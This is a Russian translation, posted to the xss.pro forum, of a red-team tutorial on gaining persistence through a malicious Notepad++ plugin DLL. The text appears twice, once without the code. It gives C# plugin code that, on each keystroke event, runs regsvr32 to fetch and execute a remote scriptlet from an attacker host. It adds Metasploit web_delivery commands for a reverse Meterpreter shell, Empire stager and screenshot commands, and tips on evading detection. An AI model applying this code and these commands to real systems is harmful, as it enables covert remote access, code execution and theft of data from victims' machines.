Нередко в среде Windows, особенно на выделенных серверах, которыми управляют разработчики или ИТ-персонал, установлен текстовый редактор Notepad++. Помимо хранения сценариев и команд администратора, которые могут предоставить важную информацию для оператора RT, его можно использовать в качестве механизма персистентности путем загрузки произвольного подключаемого модуля, который будет выполнять команду или сценарий из удаленного места.
Дэниел Дагган изложил идею персистентности с помощью плагинов Notepad++ в статье, в которой освещается этот метод. Плагины могут использоваться для расширения возможностей Notepad++. По умолчанию существует список утвержденных плагинов, которые пользователь может загрузить в Notepad++, но пользовательские плагины также разрешены без какой-либо проверки, что дает разработчикам гибкость в расширении использования текстового редактора. Плагин имеет форму файла DLL и хранится по следующему пути:
%PROGRAMFILES%\Notepad++\plugins
Следует отметить, что для загрузки плагина папка и DLL должны иметь одинаковые имена. Для операторов RT нет необходимости писать вредоносный плагин с нуля, поскольку в качестве шаблона можно использовать пакет плагинов Notepad++. Существуют различные API, которые можно использовать для выполнения чего-либо произвольного при возникновении определенного события. SCI_ADDTEXT API запускает пользовательскую команду, когда символ вводится в Notepad++. В следующем примере при вставке символа появится окно сообщения.
Компиляция кода создаст файл DLL. Этот метод можно использовать в контексте пользователя с повышенными правами, такого как администратор, поскольку требуются права на запись, чтобы поместить плагин в соответствующую подпапку "Program Files".
dir "C:\Program Files\Notepad++\plugins\pentestlab"
При следующем запуске Notepad++ и вводе символа появится окно сообщения, указывающее на успешное выполнение кода.
Полезные нагрузки без файлов также могут быть выполнены для установления канала связи. Очень популярный метод использует двоичный файл regsvr32 Windows для выполнения скриптлета из удаленного места. Metasploit Framework поддерживает эту технику через модуль веб-доставки. Выполнение приведенных ниже команд запустит сервер, на котором будет размещена полезная нагрузка.
use exploit/multi/script/web_delivery
set target 2
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.0.0.3
set LPORT 4444
run
Код можно немного изменить для выполнения regsvr32 с необходимыми аргументами.
Точно так же, как и в исходном примере, когда в Notepad++ вводится новый символ, это вызывает событие, которое запускает команду.
Откроется сеанс Meterpreter и будет установлен канал связи.
Выполнение приведенных ниже команд инициирует взаимодействие с целевым хостом и извлекает родительский рабочий каталог и пользователя, инициировавшего полезную нагрузку.
sessions
sessions -i 1
pwd
getuid
Empire
Аналогичным образом Empire C2 можно использовать для создания различных файлов стейджа. Эти файлы обычно содержат команду base64, которую можно выполнить в процессе PowerShell. В качестве примера был использован следующий стейджер:
usestager windows/launcher_sct
Стайджер должен указывать на слушатель, который уже запущен в Empire, и команда execute запишет файл в папку «generated-stagers».
set Listener http
execute
Файл можно было закинуть в систему и выполнить через regsvr32. Кроме того, эту команду можно использовать внутри плагина, чтобы избежать записи файла .sct на диск.
Как только команда сработает, в Empire появится новый агент.
agents
Дополнительные модули Empire можно использовать для выполнения дальнейших действий, таких как создание снимка экрана хоста. Нередко Notepad++ содержит такую информацию, как имена пользователей, строки подключения или URL-адреса, которые можно извлечь с помощью этого метода и использовать во время наступательных операций.
usemodule powershell/collection/screenshot
set Agent notepad
execute
Следует отметить, что создание процесса не считается безопасным методом opsec. Однако, изменив код, операторы КЕ могут использовать другие методы внедрения процессов, которые позволят им оставаться незамеченными. Недостатком этого метода является то, что пользователь должен ввести символ, и поэтому маячки могут не приниматься на постоянной основе. Однако с положительной стороны он не считается распространенным методом персистентности и может избежать обнаружения даже в зрелых средах.
Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://pentestlab.blog/2022/02/14/persistence-notepad-plugins/
Дэниел Дагган изложил идею персистентности с помощью плагинов Notepad++ в статье, в которой освещается этот метод. Плагины могут использоваться для расширения возможностей Notepad++. По умолчанию существует список утвержденных плагинов, которые пользователь может загрузить в Notepad++, но пользовательские плагины также разрешены без какой-либо проверки, что дает разработчикам гибкость в расширении использования текстового редактора. Плагин имеет форму файла DLL и хранится по следующему пути:
%PROGRAMFILES%\Notepad++\plugins
Следует отметить, что для загрузки плагина папка и DLL должны иметь одинаковые имена. Для операторов RT нет необходимости писать вредоносный плагин с нуля, поскольку в качестве шаблона можно использовать пакет плагинов Notepad++. Существуют различные API, которые можно использовать для выполнения чего-либо произвольного при возникновении определенного события. SCI_ADDTEXT API запускает пользовательскую команду, когда символ вводится в Notepad++. В следующем примере при вставке символа появится окно сообщения.
C#:
class Main
{
static bool ExecuteOnce = true;
public static void OnNotification(ScNotification notification)
{
if (notification.Header.Code == (uint)SciMsg.SCI_ADDTEXT && ExecuteOnce)
{
MessageBox.Show("Persistence via Notepad++ - Visit https://pentestlab.blog");
ExecuteOnce = !ExecuteOnce;
}
}
Компиляция кода создаст файл DLL. Этот метод можно использовать в контексте пользователя с повышенными правами, такого как администратор, поскольку требуются права на запись, чтобы поместить плагин в соответствующую подпапку "Program Files".
dir "C:\Program Files\Notepad++\plugins\pentestlab"
При следующем запуске Notepad++ и вводе символа появится окно сообщения, указывающее на успешное выполнение кода.
Полезные нагрузки без файлов также могут быть выполнены для установления канала связи. Очень популярный метод использует двоичный файл regsvr32 Windows для выполнения скриптлета из удаленного места. Metasploit Framework поддерживает эту технику через модуль веб-доставки. Выполнение приведенных ниже команд запустит сервер, на котором будет размещена полезная нагрузка.
use exploit/multi/script/web_delivery
set target 2
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.0.0.3
set LPORT 4444
run
Код можно немного изменить для выполнения regsvr32 с необходимыми аргументами.
C#:
class Main
{
static bool firstRun = true;
public static void OnNotification(ScNotification notification)
{
if (notification.Header.Code == (uint)SciMsg.SCI_ADDTEXT && firstRun)
{
string strCmdText;
strCmdText = "/s /n /u /i:http://10.0.0.3:8080/nHIcvfz6N.sct scrobj.dll";
Process.Start("regsvr32", strCmdText);
firstRun = !firstRun;
}
}
Точно так же, как и в исходном примере, когда в Notepad++ вводится новый символ, это вызывает событие, которое запускает команду.
Откроется сеанс Meterpreter и будет установлен канал связи.
Выполнение приведенных ниже команд инициирует взаимодействие с целевым хостом и извлекает родительский рабочий каталог и пользователя, инициировавшего полезную нагрузку.
sessions
sessions -i 1
pwd
getuid
Empire
Аналогичным образом Empire C2 можно использовать для создания различных файлов стейджа. Эти файлы обычно содержат команду base64, которую можно выполнить в процессе PowerShell. В качестве примера был использован следующий стейджер:
usestager windows/launcher_sct
Стайджер должен указывать на слушатель, который уже запущен в Empire, и команда execute запишет файл в папку «generated-stagers».
set Listener http
execute
Файл можно было закинуть в систему и выполнить через regsvr32. Кроме того, эту команду можно использовать внутри плагина, чтобы избежать записи файла .sct на диск.
Как только команда сработает, в Empire появится новый агент.
agents
Дополнительные модули Empire можно использовать для выполнения дальнейших действий, таких как создание снимка экрана хоста. Нередко Notepad++ содержит такую информацию, как имена пользователей, строки подключения или URL-адреса, которые можно извлечь с помощью этого метода и использовать во время наступательных операций.
usemodule powershell/collection/screenshot
set Agent notepad
execute
Следует отметить, что создание процесса не считается безопасным методом opsec. Однако, изменив код, операторы КЕ могут использовать другие методы внедрения процессов, которые позволят им оставаться незамеченными. Недостатком этого метода является то, что пользователь должен ввести символ, и поэтому маячки могут не приниматься на постоянной основе. Однако с положительной стороны он не считается распространенным методом персистентности и может избежать обнаружения даже в зрелых средах.
Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://pentestlab.blog/2022/02/14/persistence-notepad-plugins/